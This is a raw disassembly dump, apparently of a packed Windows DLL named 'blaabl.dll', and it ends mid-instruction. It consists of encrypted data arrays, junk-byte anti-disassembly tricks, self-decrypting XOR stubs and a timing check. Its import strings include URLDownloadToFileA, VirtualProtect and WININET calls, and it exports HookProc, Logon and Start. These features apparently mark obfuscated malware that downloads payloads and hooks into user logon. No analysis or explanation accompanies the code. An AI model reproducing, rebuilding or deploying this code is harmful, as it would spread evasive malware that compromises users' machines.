0ABB3AED7h, 73CB34BEh, 20435F1h, 957A5648h, 4424FD21h dd 0D428BE16h, 0CE3704B3h, 407E7338h, 53EBEFDCh, 6BAAABE6h dd 7AEFB2BCh, 5925990Bh, 7C374FC3h, 0D9257EAFh, 328EA8ACh dd 0A2D56818h, 508F04ABh, 636FE214h, 9252A3E0h, 3A67C0E4h dd 497C699h, 0EA75F263h, 1693F25Ah, 66103E2Eh, 0C76A3780h dd 660A588Fh, 1D69A7A3h, 0ECB97F18h, 6E3BCAE2h, 3AC96F07h dd 0CD37E1E0h, 662822C7h, 56C1A7E5h, 37336D42h, 7D1C68Ch dd 0CEE2E35Dh, 4F83E7E2h, 22336A1Eh, 11E29EFBh, 0A886FBC3h dd 0A8F8C22h, 886F5651h, 0D5BB77Ch, 2F2E2C16h, 4790ACDAh dd 3C547E51h, 39B38CA3h, 0B56F3C7Dh, 65D67421h, 0AE2EF731h dd 6119A59h, 4E3D3509h, 31DF94F0h, 1716715Ch, 0B73FD511h dd 777B685Dh, 65577ABDh, 7F7413E2h, 370BF4E0h, 0F1357282h dd 0CBD492F5h, 725F68F9h, 0AFB885h, 3C2B1E54h, 67BED537h dd 5EB0EA9Fh, 60F3D431h, 3601125Dh, 25F31944h, 4F39704Ah dd 11BB8AC0h, 611272F8h, 0F5A3F2ECh, 9C8B54A2h, 0C981742Fh dd 11490FF3h, 5CDD76B2h, 70DE758Eh, 0C6F2A838h, 81F8DE89h dd 939DDCh, 7FAC514Ah, 0CD51D954h, 36789FAh, 2A84ABD0h dd 45CCA6E9h, 43EA93B2h, 0EF69457Ah, 41C3B3FFh, 175E030Ah dd 29EBD66Bh, 4A4B486Bh, 94F961B8h, 9DEE935Eh, 9AE6CB5Fh dd 6C406FACh, 0FE87A024h, 0E829A589h, 622BB7C6h, 555B4B5Dh dd 64CF87EFh, 52516970h, 4CAFE4D0h, 58DCE536h, 42D080B2h dd 0A32FD464h, 76542991h, 0D62EF255h, 2ABCCAA3h, 303D1950h dd 376A81D2h, 646FB87Ch, 0AB3D1FFAh, 0A2E3A4Bh, 3785A7E6h dd 0E859795Bh, 0BEAA11A6h, 8E215B23h, 0DC99AF5h, 451968AFh dd 0A0CA9FECh, 530EE759h, 5D81EBEBh, 0F3049FBDh, 4B8CD3h dd 0E9E35F79h, 3731D58Eh, 0ED5D5D7Bh, 74AC80D5h, 0B8E442ADh dd 4FDA3ED7h, 16414E68h, 93C08CC2h, 0B866E017h, 3DDF9290h dd 66015F71h, 39F680A3h, 93164C6Bh, 19B94E33h, 573D2A07h dd 71D042DAh, 6BB19C27h, 8516F3F5h, 0C7001E2Ch, 0D5EF96C5h dd 7B73DC7h, 8CA8C020h, 16C13791h, 7AE2E621h, 7A4E69Ch dd 0DAB2B2BEh, 5F0B4931h, 5AE13E8Ah, 737E7D3Ah, 584AFEEh dd 0F8F1E34Fh, 178FB17Ch, 737D7414h, 93AAE5h, 7C7C765Ch dd 49D785B5h, 334C5F0Ch, 33D782AEh, 643A317Ch, 8C5E33B5h dd 45237AC7h, 5DA385C5h, 30395E01h, 40A287C2h, 38735F0Ah dd 21D75323h, 0F8AC6339h, 139B84DCh, 51247059h, 19818CCEh dd 1E051056h, 885F95Eh, 0A5E803BBh, 6CC3942Eh, 912B135Bh dd 90F76BC1h, 15D146ABh, 7129955Fh, 122D1CC7h, 0E6481502h dd 78D3E32h, 0E1B0D41Dh, 1C98BCBCh, 284A2143h, 324F4EA8h dd 8D329484h, 0ED007131h, 20E8EE2Ch, 8667557h, 0DD9D61C0h dd 1506F178h, 0A8EBCDC2h, 3485B507h, 8858FB1h, 0C10124Ch dd 29BCE56h, 5325684Bh, 178CAEECh, 0F0268548h, 1EB3D7ECh dd 6F7D6C59h, 0E754D8ECh, 0C04F973Fh, 26E1C1B0h, 4DD0694Ch dd 1C812486h, 5000DD7Eh, 0A662A8E2h, 6876C298h, 1AB892F1h dd 0A86AAB4Ah, 1D7C914Eh, 0B8D64A57h, 3A97425Bh, 636A5D7Bh dd 45F686F1h, 20019E94h, 47ABA15Eh, 627C5679h, 2DB8CE4h dd 0B5754355h, 1CA1ACFAh, 6B600A54h, 0C972B32Ch, 6922AB10h dd 757446AEh, 77C218D6h, 7981DB67h, 45944423h, 0DD88413Dh dd 49772819h, 0F79BD7EBh, 2DF28DDEh, 7F8588Ah, 955092Ah dd 80BC8447h, 6DB38B56h, 15D49256h, 0BEBE3F48h, 583C9406h dd 447D7515h, 6DD5575Bh, 5F25904Eh, 0EF55AE1h, 684D775Bh dd 19ED94F6h, 9E220B48h, 45BCC58Ah, 85E0D737h, 6C2967BEh dd 44776C57h, 1788AA80h, 76C0589Ah, 9CCA29ECh, 3BFA1D5Eh dd 8825B4EFh, 0FFADAC7Bh, 33E3B4F1h, 45667F59h, 592FADA8h dd 421A7D74h, 0B9B0F755h, 6478DBFAh, 1CAB80F0h, 0AD886F7Ch dd 1F157236h, 0D9D4D578h, 235CF93h, 83AD4855h, 0B1888435h dd 34858D01h, 25C6C3F3h, 0F36D9417h, 63E8B741h, 5F468CA7h dd 0CD6BBEF3h, 0D9597358h, 44AECE97h, 38C8F01Eh, 310EA4F9h dd 4476502Ch, 538781BBh, 2621399Fh, 31225BA7h, 3AE2714Bh dd 9EADC101h, 5796577Dh, 16AF183Ah, 9AE2D8Ch, 49A003EFh dd 45490D4Eh, 54F27D42h, 0CA56C55h, 0C4857341h, 0ED1E1C07h dd 3B3BAC31h, 0DB6368C0h, 9E859DEBh, 424086F5h, 0FEA185F5h dd 0D2100B32h, 71C494A6h, 0B1D5C426h, 158BE198h, 366D165Ch dd 91F5E3EEh, 43105558h, 31894CE6h, 0B167F6BBh, 9DF280A5h dd 45125038h, 5846447h, 4558F648h, 77CD28E0h, 6D79994Dh dd 0A2F28F8Eh, 6215AB1Ch, 12A5B2EDh, 1CCA61B7h, 3B79A685h dd 0CE02655Dh, 35D1A03Eh, 0F053234h, 0AE06EDBBh, 851D036h dd 0A968EFC7h, 3E7A5ED3h, 7946C78Dh, 3D027AF3h, 0BA4CE381h dd 54DC7089h, 0AEDC8FF6h, 0AFCC7FA2h, 31F04BBEh, 6910705Bh dd 5364D2E3h, 52445FFCh, 6CACD9F0h, 6BB83228h, 469B1040h dd 0E8727802h, 1CCD59CEh, 1A8811A5h, 0FE726B75h, 6B5D028Eh dd 18717115h, 0A04FC118h, 8E57C718h, 96DEE648h, 0C9875783h dd 40167B8Dh, 74F649F6h, 0B67D7839h, 0D4B34414h, 4647527Bh dd 65E9C389h, 0E1DD9324h, 606C1B0Bh, 0E735DA86h, 38E888A6h dd 5EBD6904h, 67B2D7B4h, 0CA1E7303h, 28333983h, 4B5C49E0h dd 0DC8929C7h, 1BBB7AD1h dd 186C4598h, 6FC70503h, 0CAFD8DEEh, 0DD9FF240h, 96527C6Fh dd 0B3AC3D35h, 204502A9h, 0FE437727h, 2557F17Dh, 2C78C642h dd 29F2F0EFh, 16557193h, 7F9065C7h, 19CE3F0Ch, 1643AC30h dd 0DB5F2F79h, 0BD324FE0h, 695B784Eh, 7074CBEBh, 8D1BDE64h dd 0B997E3F8h, 0A1016726h, 3E90B1D6h, 22D4F1EBh, 1694F3F3h dd 7B63AFEh, 38E0F185h, 31465839h, 0DBF140B1h, 6381155h dd 0FE968047h, 0C6A7EFAh, 0EBCD2180h, 2281E313h, 75E0F30Ah dd 22041A3Eh, 78EDFDB2h, 0D8630033h, 75E9AE7Dh, 10301533h dd 7DA3E9BAh, 841D113Fh, 30E6C8B1h, 0B8B3AAC7h, 7DEFBB97h dd 31A1537h, 77F9CFA2h, 0B120C6Ah, 8F1DC699h, 0E00E38Fh dd 66DDCFA0h, 4707082Bh, 6CEFD084h, 2E231B33h, 51EDC492h dd 0D0B173Eh, 0C7D73EE8h, 45B1938h, 6AEDD18Eh, 9191B2Ah dd 14FDE088h, 70F8C6EEh, 34A2D28Bh, 1A171733h, 8691D5B1h dd 15D5C78Fh, 7CEDC6F0h, 60040131h, 78E8D685h, 0B07E0131h dd 611F775Ch, 1803051Dh, 22E6DA84h, 0B18593Fh, 9FAC988h dd 0B1F11A31h, 67ED3E7Eh, 0F085D3Fh, 77F3C797h, 95021A37h dd 41B7ABD8h, 502EC2Fh, 8B9F318Ch, 7F7E3C7h, 63A5F52Ah dd 0F7520F16h, 5DEBC0A3h, 10070A35h, 4DF5CFB3h, 2E083530h dd 8F8DDC94h, 2200E187h, 6BEDDB88h, 0E0755A9h, 62F6E299h dd 0C173F36h, 76B2C891h, 0B9D0C2E5h, 8810C6E5h, 0B6838h dd 7AE9D890h, 0A577621h, 0C63B7634h, 21683E31h, 79D3CD1Eh dd 0D12A0B24h, 9516DC84h, 7F27AAE7h, 79E70EACh, 9010535h dd 68E7F28Eh, 0D8F21C36h, 78CC7635h, 28020A36h, 62F2DE1Eh dd 0A06642Dh, 87F9D086h, 11256737h, 63FED093h, 2D0B3F3Bh dd 5BFECF8Eh, 78057333h, 75FCDA8Dh, 2370020h, 20E71C86h dd 0B017282Ch, 631BAF34h, 0A1F0829h, 77D0CDF4h, 25290856h dd 0BC0D410h, 9F8EAE3h, 7CC0C894h, 0FD2C031Fh, 0F1FB6F84h dd 0DC54D729h, 76C3B0D9h, 0DD0F1E53h, 7E3BAC3Ch, 0A90B282Ah dd 51B5BF92h, 0D1E1222h, 2B05B699h, 44A8CC99h, 7CF0DAE4h dd 0F91B163Fh, 7C84CA34h, 206FE28h, 66CFDF90h, 93093C29h dd 0CB7DAF58h, 1F2F1B27h, 7BEEC666h, 2B231A20h, 61E1E78h dd 0D680824h, 67F1888Dh, 1D257933h, 60F082F9h, 6917063Eh dd 79D7735h, 0D062713h, 64F88EB7h, 0A62E1173h, 8D5BBE96h dd 3B3797DEh, 68C5E5A0h, 3F1A1AC6h, 7BF1DE91h, 77B90927h dd 5254AE62h, 1A1A1620h, 5CFB0A9Eh, 135B06B5h, 7C8CBABDh dd 1623021Fh, 58E9DDA5h, 57B27937h, 51A3EEEBh, 0AACB092Ch dd 7AF5C78Bh, 2F58DEBDh, 0FCC12F38h, 6C7883D2h, 78EC7A0Eh dd 0C272C4Ah, 79F5A198h, 0AAB9773Fh, 5E9C6E36h, 27106B3Eh dd 9D6DCA02h, 1E725F35h, 3DB0E28Bh, 107A2E30h, 0EEF5473Dh dd 811E0636h, 60C5D093h, 6C7546E5h, 3FEE28CEh, 0A047037h dd 1B9BD385h, 5C30B223h, 5121E29Bh, 23180B33h, 1E22440Eh dd 217EF33h, 2EF749FAh, 0B2A369DBh, 74C4269Ah, 400A0A7Ch dd 0DE8CB7BBh, 0F31B621h, 0F8E6D3D4h, 3C1FC188h, 7E5AC0BFh dd 9E9172Ch, 0B1A62CE8h, 2DE9515Dh, 761C4BA4h, 45D31150h dd 6420E675h, 831A4360h, 0A8B8AAD8h, 4026D20h, 0ECCEA4h dd 0E914CD83h, 62B1199Bh, 48590CCCh, 2B044E4Ah, 5788EC38h dd 72183187h, 5A9B4C30h, 7C1FD1D7h, 7FB73C1h, 3C2284D3h dd 9D0E1939h, 9BA69C25h, 9BE3056h, 70A5C094h, 434107Ah dd 0DD2DB40Eh, 1F951B0Eh, 5280C293h, 4BCF7A28h, 23E2CA0Fh dd 0CBE21B0Bh, 80EC28AEh, 1E2826h, 7D7E26E6h, 4CBDC3Eh dd 0EA5BE984h, 0A7A6D423h, 0F9B2217Eh, 0C5A3C732h, 71009583h dd 0ECB81726h, 41DEF6Bh, 974F423Fh, 28BD1B68h, 0EA2E65FDh dd 0A8F7A3ADh, 73925E3h, 3B1BF4DFh, 34EBB8h, 2CE0BF4h dd 2105FF5Ch, 757C19F8h, 50A9C9Ch, 5D2DE1C3h, 742832EEh dd 4330C3A2h, 69D7518Ch, 15AF11A4h, 339A3B77h, 7C08B2CEh dd 67C12D8h, 323F76B6h, 17B3B423h, 0AFE7C9h, 854A0000h dd 900h, 0FFh, 8247C80h, 0B9850F01h, 60000001h, 0D000BEh dd 62BE8D10h, 359D9D22h, 899DAFE1h, 0F2F2F26Fh, 0EA2464E8h dd 0B9632565h, 7CE96517h, 739E8CE1h, 0DA8F10B9h, 62626263h dd 6517B963h, 8CE17CE9h, 73B9739Eh, 11B963A2h, 0E96B178Dh dd 9E8CE17Ch, 8611B973h, 8AE1AB53h, 0A36F1061h, 64E86A82h dd 9D92E124h, 0A7EB1616h, 6517B963h, 8CE17CE9h, 73B9739Eh dd 17B963ABh, 0E17CE965h, 0B9739E8Ch, 4217AB73h, 17B96323h dd 0E17CE965h, 0B9739E8Ch, 0B963AB73h, 6B178D11h, 8CE17CE9h dd 11B9739Eh, 60A3E186h, 91629FE3h, 0B3E19D9Dh, 4D76EF63h dd 149E9FE1h, 2060E86Dh, 2B2565EAh, 18B9517h, 0F29D9D9Dh dd 0A0E160E9h, 0E165EB66h, 8BE166A5h, 63931566h, 9D2E8BADh dd 0EB3C9D9Dh, 62C0DB95h, 65E86262h, 5E8A4E25h, 0E2951563h dd 9017625Dh, 3DE865E9h, 8AA30466h, 72A2A36Ah, 9A4BA6E4h dd 638A89E2h, 0E165EB92h, 0BAEA67A5h, 0DCEFBB80h, 62628262h dd 0A26B65E9h, 3DE95E16h, 52E6EF66h, 62636262h, 0E1329163h dd 0F49D6AA5h, 626362C2h, 2565E8F7h, 0BE16A26Ah, 2A359BEBh dd 9D37CC90h, 6362C6F4h, 16A26B62h, 0E161EB65h, 838966A1h dd 0A0A25303h, 0A5E1626Eh, 9E3CEF66h, 65E8A253h, 16A26B25h dd 158D5E40h, 0E9A16373h, 0A3A6E461h, 0A6E472A2h, 61EB9263h dd 6D468089h, 47282A3h, 0A5E165E9h, 0E9808960h, 6362CACCh dd 62DCEF62h, 0D99D9D92h, 62627262h, 66083632h, 0B79D3531h dd 607DE5EFh, 42E26262h, 4A02E21Dh, 36323A1Dh, 9D353132h dd 0EF033AB7h, 8E24626h, 17A65B62h, 0E28EE198h, 9D70F08Bh dd 9Dh, 80h dup(0) dd 110E0h, 110A0h, 3 dup(0) dd 110EDh, 110B0h, 3 dup(0) dd 110FAh, 110B8h, 3 dup(0) dd 11104h, 110C0h, 3 dup(0) dd 11110h, 110C8h, 3 dup(0) dd 1111Bh, 110D0h, 3 dup(0) dd 11126h, 110D8h, 5 dup(0) dd 11132h, 11140h, 11150h, 0 dd 11160h, 0 dd 1116Eh, 0 dd 1117Ch, 0 dd 11186h, 0 dd 1119Ah, 0 dd 111A6h, 0 dd 4E52454Bh, 32334C45h, 4C4C442Eh, 56444100h, 33495041h dd 6C642E32h, 6C6F006Ch, 2E323365h, 6C6C64h, 574C4853h dd 2E495041h, 6C6C64h, 6D6C7275h, 642E6E6Fh, 55006C6Ch dd 33524553h, 6C642E32h, 4957006Ch, 454E494Eh, 6C642E54h dd 6Ch, 64616F4Ch, 7262694Ch, 41797261h, 65470000h, 6F725074h dd 64644163h, 73736572h, 69560000h, 61757472h, 6F72506Ch dd 74636574h, 65520000h, 6F6C4367h, 654B6573h, 79h, 72436F43h dd 65746165h, 64697547h, 74530000h, 72684372h, 41h, 444C5255h dd 6C6E776Fh, 5464616Fh, 6C69466Fh, 4165h, 72707377h, 66746E69h dd 41h, 70747448h, 72657551h, 666E4979h, 416Fh, 0 dd 465DA69Ah, 0 dd 11226h, 1, 2 dup(7), 111E0h, 111FCh, 11218h, 17DAh dd 19F7h, 17D9h, 17CDh, 1A62h, 11FFh, 13B6h, 11231h, 1123Ah dd 1124Ah, 1125Ch, 11265h, 1126Ch, 11272h, 50000h, 10006h dd 30002h, 6C620004h, 626C6161h, 6C6C642Eh, 74634100h dd 74617669h, 6C440065h, 6E61436Ch, 6F6C6E55h, 6F4E6461h dd 6C440077h, 7465476Ch, 73616C43h, 6A624F73h, 746365h dd 6B6F6F48h, 636F7250h, 676F4C00h, 66666Fh, 6F676F4Ch dd 7453006Eh, 747261h, 10000h, 0Ch, 344Dh, 5Eh dup(0) ; --------------------------------------------------------------------------- cmp byte ptr [esp+8], 1 pusha jmp short loc_413071 ; --------------------------------------------------------------------------- dd 2CDF7E39h, 18FB8AF5h db 9Ah ; --------------------------------------------------------------------------- loc_413071: ; CODE XREF: .rsrc:00413066j jnz loc_413263 call sub_414C54 les ebp, [ebp-56CF8C1Eh] db 2Eh jnp short near ptr byte_41308F pop ds aas ; --------------------------------------------------------------------------- db 0 dd 0C6120600h db 0E8h, 0E4h, 1Bh byte_41308F db 0 ; CODE XREF: .rsrc:00413082j dd 0DE196000h, 0FBF04466h, 0B6000006h, 9EE81B06h, 9000001Bh dd 0F2868E89h, 0E8104BA2h, 1ED8h, 34774466h, 74E80000h dd 0C000001Bh, 67733EF9h, 0E8006868h, 1DA2h, 2A8516h, 0A0E80000h dd 0F0000019h, 1A05EE69h, 57DEh, 6A625CC6h, 0E8100114h dd 143Ah, 9E9ED920h, 119CD5B5h, 4DE47776h, 9A501302h, 0EB190430h dd 57C6F07h, 9A688B5Ah, 3EBC0D0h, 499A1467h, 800303EBh dd 0E1850F9Ah, 0E8FFFFFFh, 1C7Ch, 0F1987B0Ah, 0E8BD22D6h dd 1D30h, 0F6AE29B0h, 1B5652D9h, 92860000h, 1AE2E8EBh dd 99E00000h, 3991DC5Eh, 0E98C1A48h, 7F64D914h, 3600001Eh dd 3707E343h, 1C8C6D12h, 164D85CFh, 301D0000h, 0C53C03EBh dd 0B850F9Ah, 0E8000000h, 1D8Bh, 9C9B1E25h, 0FA819A7Dh dd 165h, 79400DEBh, 356C1FBEh, 0B1583BCAh, 0F9A1796h, 2585h dd 14D3E800h, 0D3110000h, 0E4CFh, 0F6E03EBh, 0F850F9Ah dd 0E8000000h, 14ADh, 2107ABC8h, 5D340746h, 0E8909AD2h dd 1C20h, 15CCFF1Eh, 91B81B2Ah, 544E9DF6h, 0D0000019h dd 0E9A7CEC9h, 21BEh, 0DD55A6h, 0DEB0000h, 7E390083h, 8AF52CDFh dd 567118FBh, 3EB9D9Ah, 9C9AE2ADh, 2EA905EBh, 0E99A5CCFh dd 21h, 48EB09EBh, 0F4C706E1h, 0EB9A921Dh, 1907EB14h, 0D58CBFDEh dd 0D5EB9AEAh, 0B65107EBh, 428D24B7h, 0B6E8589Ah, 8E00001Ch dd 9A45BCAFh, 66C1A8CBh, 28CC0h, 4303EB00h, 840F9AC0h dd 0Fh, 1BDFE8h, 87CE7E00h, 849716B0h, 9D9AA26Dh, 1666E8h dd 1C8FEE00h, 8ABFA25h, 0FDD3C6A1h, 0E5EC8707h, 0E607DFCFh db 0EFh, 0D9h, 9Ah ; --------------------------------------------------------------------------- loc_413263: ; CODE XREF: .rsrc:loc_413071j ; .rsrc:loc_413288j popa jmp short loc_413269 ; --------------------------------------------------------------------------- dw 954Ch db 9Ah ; --------------------------------------------------------------------------- loc_413269: ; CODE XREF: .rsrc:00413264j jmp loc_41329B ; --------------------------------------------------------------------------- jmp short loc_413279 ; --------------------------------------------------------------------------- dd 77761138h, 13024DE4h db 9Ah ; --------------------------------------------------------------------------- loc_413279: ; CODE XREF: .rsrc:0041326Ej jmp short loc_41329B ; --------------------------------------------------------------------------- jmp short loc_413288 ; --------------------------------------------------------------------------- db 4Eh, 6Fh, 7Ch dd 688B5A05h, 9A672681h ; --------------------------------------------------------------------------- loc_413288: ; CODE XREF: .rsrc:0041327Bj jmp short loc_413263 ; --------------------------------------------------------------------------- dw 0B2E8h dd 80000016h, 306FEB9h, 0D6F144A0h db 57h, 44h, 9Ah ; --------------------------------------------------------------------------- loc_41329B: ; CODE XREF: .rsrc:loc_413269j ; .rsrc:loc_413279j nop pusha call $+5 jmp short loc_4132AF ; --------------------------------------------------------------------------- mov al, 29h scasb dec edi fsubr st(5), st mov edx, 8661C86Bh loc_4132AF: ; CODE XREF: .rsrc:004132A2j pop eax jmp short loc_4132BD ; --------------------------------------------------------------------------- dw 9D74h dd 99E0E312h, 550C3F5Eh db 6Ah ; --------------------------------------------------------------------------- loc_4132BD: ; CODE XREF: .rsrc:004132B0j mov ecx, 1B6h jmp short loc_4132D1 ; --------------------------------------------------------------------------- dd 3736D1F8h, 0D3C20DA4h, 2F0E0910h db 3Ch ; --------------------------------------------------------------------------- loc_4132D1: ; CODE XREF: .rsrc:004132C2j push ecx jmp short loc_4132DB ; --------------------------------------------------------------------------- dd 41284B1Ah db 0E6h, 27h, 0D4h ; --------------------------------------------------------------------------- loc_4132DB: ; CODE XREF: .rsrc:004132D2j ; .rsrc:loc_4132FDj xor byte ptr [eax-11EBh], 62h jmp short loc_4132ED ; --------------------------------------------------------------------------- dd 7940C372h, 356C1FBEh db 0CAh ; --------------------------------------------------------------------------- loc_4132ED: ; CODE XREF: .rsrc:004132E2j inc eax jmp short loc_4132F5 ; --------------------------------------------------------------------------- dd 1796B158h db 4 ; --------------------------------------------------------------------------- loc_4132F5: ; CODE XREF: .rsrc:004132EEj dec ecx jmp short loc_4132FD ; --------------------------------------------------------------------------- dd 0E970B322h db 6Eh ; --------------------------------------------------------------------------- loc_4132FD: ; CODE XREF: .rsrc:004132F6j jnz loc_4132DB jmp short loc_41330E ; --------------------------------------------------------------------------- db 9Ch, 0A5h, 7Ah ; --------------------------------------------------------------------------- sub ecx, [eax+34074621h] loc_41330E: ; CODE XREF: .rsrc:00413303j pop ecx jmp short loc_41331A ; --------------------------------------------------------------------------- db 0D2h, 0A3h, 0A0h dd 0CCFF1E59h db 15h, 2Ah ; --------------------------------------------------------------------------- loc_41331A: ; CODE XREF: .rsrc:0041330Fj sub eax, ecx jmp short loc_413327 ; --------------------------------------------------------------------------- dw 91B8h dd 0CD64F7F6h db 82h, 93h, 0D0h ; --------------------------------------------------------------------------- loc_413327: ; CODE XREF: .rsrc:0041331Cj mov byte ptr [eax-6], 0E9h jmp short loc_413332 ; --------------------------------------------------------------------------- db 0CEh, 0EFh, 0FCh db 85h, 9Ah ; --------------------------------------------------------------------------- loc_413332: ; CODE XREF: .rsrc:0041332Bj nop mov dword ptr [eax-5], 9Ah popa jmp near ptr dword_411C3C+468h ; --------------------------------------------------------------------------- dd 0F4h dup(0) dd 5E000000h, 1C681h, 81660000h, 56E18D36h, 0C3h, 37Fh dup(0) dd 815E0000h, 3C6h, 9B2E8100h, 5692E9DBh, 0C3h, 48h dup(0) dd 0C7665E00h, 56EBC306h, 0C3h, 0 dd 6815E00h, 1C962C70h, 0C356h, 6Ah dup(0) dd 5E000000h, 0E068166h, 0C35693h, 23h dup(0) dd 5E000000h, 9C681h, 81660000h, 5687522Eh, 0C3h, 1Fh dup(0) dd 0C6815E00h, 3, 427B2E81h, 0C3563EB4h, 21h dup(0) ; --------------------------------------------------------------------------- pop esi add esi, 1 xor word ptr [esi], 0DD3Dh push esi retn ; --------------------------------------------------------------------------- align 4 pop esi add esi, 1 xor word ptr [esi], 88DDh push esi retn ; --------------------------------------------------------------------------- align 4 dd 1Fh dup(0) dd 5E000000h, 3C681h, 2E810000h, 3ED531ABh, 0C356h, 25h dup(0) dd 5E000000h, 3C681h, 2E810000h, 9BA010Bh, 0C356h, 3Ch dup(0) ; --------------------------------------------------------------------------- pop esi add esi, 3 sub dword ptr [esi], 9321B5Bh push esi retn ; --------------------------------------------------------------------------- align 4 dd 5E000000h, 3C681h, 2E810000h, 6867E3BBh, 0C356h, 0C6815E00h dd 3, 0F1CB2E81h, 0C3564AD2h, 0 ; =============== S U B R O U T I N E ======================================= sub_414C54 proc near ; CODE XREF: .rsrc:00413077p pop esi add esi, 7 sub dword ptr [esi], 1FB621EBh push esi retn sub_414C54 endp ; --------------------------------------------------------------------------- align 4 dd 4 dup(0) dd 0C6815E00h, 3, 5BDB2E81h, 0C3568307h, 1Ah dup(0) ; --------------------------------------------------------------------------- pop esi add esi, 1 xor word ptr [esi], 0DA9Dh push esi retn ; --------------------------------------------------------------------------- align 4 dd 27h dup(0) ; --------------------------------------------------------------------------- pop esi add esi, 5 xor word ptr [esi], 8C2Dh push esi retn ; --------------------------------------------------------------------------- align 4 dd 0Ch dup(0) ; --------------------------------------------------------------------------- pop esi add esi, 9 xor word ptr [esi], 0A6CDh push esi retn ; --------------------------------------------------------------------------- align 4 dd 0Dh dup(0) ; --------------------------------------------------------------------------- pop esi sub dword ptr [esi], 7F7FE2BBh push esi retn ; --------------------------------------------------------------------------- align 4 dd 0Ch dup(0) ; --------------------------------------------------------------------------- pop esi add esi, 3 sub dword ptr [esi], 9B6A016Bh push esi retn ; --------------------------------------------------------------------------- align 4 dd 815E0000h, 1C6h, 36816600h, 0C3562A6Dh, 17h dup(0) dd 0C6815E00h, 9, 0FD368166h, 0C3568Eh, 4 dup(0) dd 5E000000h, 0F5E63681h, 0C3564898h, 22h dup(0) ; --------------------------------------------------------------------------- pop esi add esi, 1 xor word ptr [esi], 47FDh push esi retn ; --------------------------------------------------------------------------- align 4 dd 12h dup(0) dd 0C6815E00h, 1, 0C22E8166h, 0C3566Ch, 0C6815E00h, 1 dd 1D368166h, 0C356F7h, 21h dup(0) dd 787878h, 2 dup(0) dd 44415000h, 3 dup(0) dd 150ECh, 150D0h, 3 dup(0) dd 150F9h, 150E4h, 5 dup(0) dd 77E805D8h, 77E7A5FDh, 77E6169Ah, 77E75CB5h, 0 dd 77D46349h, 0 dd 4E52454Bh, 32334C45h, 4C4C442Eh, 45535500h, 2E323352h dd 6C6C64h, 6F4C0000h, 694C6461h, 72617262h, 4179h, 50746547h dd 41636F72h, 65726464h, 7373h, 74726956h, 506C6175h, 65746F72h dd 7463h, 74697845h, 636F7250h, 737365h, 65470000h, 72754374h dd 50726F73h, 736Fh, 2Ah dup(0) db 0 assume ds:___H ; =============== S U B R O U T I N E ======================================= public start start proc near pusha call sub_416B82 dec eax call sub_416F78 rdtsc call sub_416EEB push edx call sub_4169B6 not byte ptr [ebp+1976E8h] add al, dl leave into mov ebx, offset dword_40E000 call sub_41580E cmpsb xor dword ptr [esi+7], 4E5FB4E7h mov eax, 46h call sub_416E2F mov ecx, 5A0h jmp short loc_41524A ; --------------------------------------------------------------------------- db 2Ch dd 18FB8AF5h, 0C4D75671h db 0ADh, 9Ah ; --------------------------------------------------------------------------- loc_41524A: ; CODE XREF: start+44j ; start:loc_415267j xor [ecx+ebx], al jmp short loc_415254 ; --------------------------------------------------------------------------- db 30h dd 9ACF2EA9h ; --------------------------------------------------------------------------- loc_415254: ; CODE XREF: start+54j rol al, 1 jmp short loc_41525F ; --------------------------------------------------------------------------- dd 0E148EB3Ah db 6, 0C7h, 9Ah ; --------------------------------------------------------------------------- loc_41525F: ; CODE XREF: start+5Dj dec ecx jmp short loc_415267 ; --------------------------------------------------------------------------- dw 6392h db 60h, 19h, 9Ah ; --------------------------------------------------------------------------- loc_415267: ; CODE XREF: start+67j jnz loc_41524A call sub_416855 pop edi call sub_416B60 mov dh, 0Fh xor eax, ebp retn 15h start endp ; --------------------------------------------------------------------------- align 10h db 90h db 89h, 8Eh, 8Bh dd 1D98E8D8h, 81660000h, 20A70776h, 310F22C8h, 1CCFE8h dd 0E8C32B00h, 1523h, 8E8DD2Bh, 1600001Dh, 97077681h, 2B9F2481h dd 0F009EBC3h, 1C8FEE69h, 9AABFA25h, 15850Fh, 49E80000h dd 7700001Dh, 23520DEBh, 7F9ED920h, 9BAA954Ch, 819A1138h dd 165FAh, 0E40BEB00h, 5013024Dh, 7C6F4E49h, 850F9A05h dd 23h, 128BE8h, 0B4A7A700h, 0EB0000EFh, 9ABD1403h, 0D850Fh dd 93E80000h, 0C500001Ch, 75AC05A5h, 909A7B0Ah, 1AF1E8h dd 49E85000h, 9C00001Dh, 1BB6E8h, 0BAE5DC00h, 8661C86Bh dd 129D7447h, 5E99E0E3h, 3F077681h, 68AC4BFBh, 0 ; --------------------------------------------------------------------------- jmp short loc_41534B ; --------------------------------------------------------------------------- sal dword ptr [esi], 1 aaa movsb or eax, 9A10D3C2h loc_41534B: ; CODE XREF: .rsrc:00415340j ; .rsrc:loc_415374j popf jmp short loc_415351 ; --------------------------------------------------------------------------- das cmp al, 9Ah loc_415351: ; CODE XREF: .rsrc:0041534Cj pushf jmp short loc_41535F ; --------------------------------------------------------------------------- dd 0E641284Bh, 727DD427h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 40h, 9Ah ; --------------------------------------------------------------------------- loc_41535F: ; CODE XREF: .rsrc:00415352j jmp loc_41537B ; --------------------------------------------------------------------------- jmp short loc_41536D ; --------------------------------------------------------------------------- dw 6C1Fh ; --------------------------------------------------------------------------- xor eax, 9A583BCAh loc_41536D: ; CODE XREF: .rsrc:00415364j jmp short loc_41537B ; --------------------------------------------------------------------------- jmp short loc_415374 ; --------------------------------------------------------------------------- pop ss add al, 9Ah loc_415374: ; CODE XREF: .rsrc:0041536Fj jmp short loc_41534B ; --------------------------------------------------------------------------- jmp short loc_41537B ; --------------------------------------------------------------------------- db 0B3h, 70h, 9Ah ; --------------------------------------------------------------------------- loc_41537B: ; CODE XREF: .rsrc:loc_41535Fj ; .rsrc:loc_41536Dj ... pop eax call sub_41708F pushf movsd jp short loc_4153B0 mov [ecx], ah inc esi pop es assume ds:nothing xor al, 5Dh shl byte ptr [ebx+3D1E59A0h], cl add al, [edx] ; --------------------------------------------------------------------------- db 0 dd 910BEB00h db 0F6h ; --------------------------------------------------------------------------- loc_415399: ; CODE XREF: .rsrc:004153B8j mul dword ptr [ebp+ecx*8-7Eh] xchg eax, ebx ror cl, 1 into call far ptr 0:1A840Fh call sub_416B4D fimul dword ptr [ebx] ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4153B0: ; CODE XREF: .rsrc:00415383j add [esi-7CF29202h], esp add [ecx], bh jle short loc_415399 sub al, 0F5h mov bh, bl sbb [ecx+56h], dh call far ptr 0:11C4E89Dh loop loc_41543D xor [ecx+655CCF2Eh], ch cmp 